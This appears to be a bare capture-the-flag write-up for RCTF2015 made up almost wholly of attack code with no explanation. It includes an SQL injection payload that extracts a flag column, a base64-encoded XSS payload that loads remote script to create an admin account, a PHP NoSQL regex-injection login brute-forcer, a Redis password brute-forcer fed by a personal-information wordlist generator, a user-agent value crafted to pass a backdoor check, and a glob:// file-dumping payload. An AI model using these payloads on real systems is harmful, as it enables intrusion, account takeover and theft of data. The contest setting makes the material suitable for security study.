RCTF2015_writeup

文件名','uid','uid'),((database()),'uid','uid')

username=ddog"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^R'))),1)#&password=123&email=123

<link rel="import" href="data:text/html;base64,PHNjcmlwdD5kZWxldGUgYWxlcnQ7YWxlcnQoIkhlbGxvIik7PC9zY3JpcHQ+">

<!--only for admin
<form action="" method="post">
username:<input type="text" name="name"><br />
password:<input type="password" name="pass"><br />
<input type="radio" name="isadmin" value="0">user
<input type="radio" name="isadmin" value="1">admin<br />
<input type="hidden" name="token" value="34a1615ff3eaf616f7fa205a12792d27">
<input type="submit" name="adduser" value="adduser">
</form>-->

<script src=http://180.76.178.54:8004/4b79f5d4860384d4ac494ad91f5313b7/js/jquery.js></script>
<script>
$.ajax({
type: "post",
url: "",
data: "name=tomato123&pass=tomato123&isadmin=1&adduser=adduser&token="+$("input[name=token]").val()})
</script>

<link rel="import" href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzE4MC43Ni4xNzguNTQ6ODAwNC80Yjc5ZjVkNDg2MDM4NGQ0YWM0OTRhZDkxZjUzMTNiNy9qcy9qcXVlcnkuanM+PC9zY3JpcHQ+CjxzY3JpcHQ+CiQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmw6ICIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YTogIm5hbWU9dG9tYXRvMTIzJnBhc3M9dG9tYXRvMTIzJmlzYWRtaW49MSZhZGR1c2VyPWFkZHVzZXImdG9rZW49IiskKCJpbnB1dFtuYW1lPXRva2VuXSIpLnZhbCgpfSkKPC9zY3JpcHQ+">

<?php 

ini_set("max_execution_time", 100);

echo 'start<br />';
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/checkLogin.php');
curl_setopt ($ch, CURLOPT_HTTPHEADER , array("X-Requested-With: XMLHttpRequest"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);

$ori = '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_';
$str = '';
for ($i=0; $i <40 ; $i++) {
	if($i > (strlen($str)+1) )
		break;
    for ($j=0; $j <strlen($ori) ; $j++) { 
        $post = 'username[$regex]=/^'.$str.$ori[$j].'.*/&password[$ne]=admin';
        curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
        $data=curl_exec($ch);
        if (strlen($data) == 104) {
           $str.=$ori[$j];
           break;
        }
    }
}
$username = $str;
$str = '';
for ($i=0; $i <40 ; $i++) {
	if($i > (strlen($str)+1) )
		break;
    for ($j=0; $j <strlen($ori) ; $j++) { 
        $post = 'username='.$username.'&password[$regex]=/^'.$str.$ori[$j].'.*/';

        curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
        $data=curl_exec($ch);
        if (strlen($data) == 104) {
           $str.=$ori[$j];
           break;
        }
    }
}
$password = $str;
echo 'username='.$username."<br />";
echo 'password='.$password."<br />";
echo 'end!';
?>

$Agent = $_SERVER['HTTP_USER_AGENT'];
$backDoor = $_COOKIE['backdoor'];
$msg = json_encode("no privilege");
$iterations = 1000;
$salt = "roisctf";
$alg = "sha1";
$keylen = "20";
if ($Agent == $backDoor || strlen($Agent) != 65) {
    exit($msg);
}
if (substr($Agent,0,23) != "rois_special_user_agent") {
    exit($msg);
}
if (pbkdf2($alg, $Agent, $salt, $iterations, $keylen) != pbkdf2($alg, $backDoor, $salt, $iterations, $keylen)) {
    exit($msg);
}

rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd
3-Rfm^Bq;ZZAcl]mS&eE

#!/usr/bin/env python

import itertools

fp = open('social.txt','w')
keyword = ['JiaoXiaoMing', 'jiaoxiaoming', 'jxm', 'Jxm', 'JXM', '19960708', '960708', '0708', 'rkr4me']
for i in range(1,9):
    for e in itertools.permutations(keyword, i):
        st = ''.join(e)
        fp.write(st+'\n')
fp.close()

#!/usr/bin/env python

import redis

fo = open('social.txt', 'r')
for line in fo.readlines():
    line = line.strip('\n').strip()
    r = redis.Redis(host='180.76.178.50', port=6379, db=0, password=line) 
    try:
        r.info()
    except Exception,e:
        #print e
        continue
    else:
        print line
	break

<?php $file_list = array(); 
    $it = new DirectoryIterator("glob:///*"); 
    foreach($it as $f) {
        $file_list[] = $f->__toString();
    }  
    $it = new DirectoryIterator("glob:///.*"); 
    foreach($it as $f) { 
        $file_list[] = $f->__toString();
    }
    sort($file_list);
    foreach($file_list as $f) {
        echo file_get_contents({$f}); 
        echo "{$f}<br/>";
    }
?>

import urllib

log = open('log_flag.log','r')
log2 = open('log_flag_urldecode2.log','w')

for eachLine in log:
        pos = eachLine.find('id=')
        result = urllib.unquote(eachLine[pos+3:])
        if result.find('!=') != -1:
                log2.write(result[result.find('!=')+2:result.find('),S')] + ',')

log.close()
log2.close()